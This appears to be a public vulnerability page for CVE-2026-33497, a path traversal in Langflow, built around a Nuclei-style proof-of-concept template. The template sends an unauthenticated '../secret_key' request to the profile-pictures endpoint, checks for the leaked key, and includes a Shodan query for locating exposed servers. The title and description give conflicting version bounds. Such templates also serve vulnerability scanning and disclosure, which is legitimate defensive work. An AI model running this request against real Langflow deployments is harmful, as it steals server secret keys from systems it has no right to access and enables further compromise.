CVE-2026-33497: Langflow < 1.7.0 - Path Traversal

2026-07-31 Langflow PoC Public

Description

Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.

PoC

id: CVE-2026-33497

info:
  name: Langflow < 1.7.0 - Path Traversal
  author: xtr0nix
  severity: high
  description: |
    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.
  impact: |
    Attackers can read sensitive secret_key files across directories, potentially compromising system security.
  remediation: |
    Update to version 1.7.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33497
    epss-score: 0.19584
    epss-percentile: 0.97243
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Langflow"
  tags: cve,cve2026,langflow,traversal,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/files/profile_pictures/../secret_key"

    matchers:
      - type: dsl
        dsl:
          - len(body) == 43
          - status_code == 200
          - contains(content_type, 'application/octet-stream')
        condition: and
# digest: 4b0a00483046022100c1aa5d4da16a4c1a7a1108657656b9c3b29dee39cc5d2564a18f037a7b029593022100e91ab849f1efa97bb2b83429175a98f04b3e4270490c0afc71096dce437a3d62:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities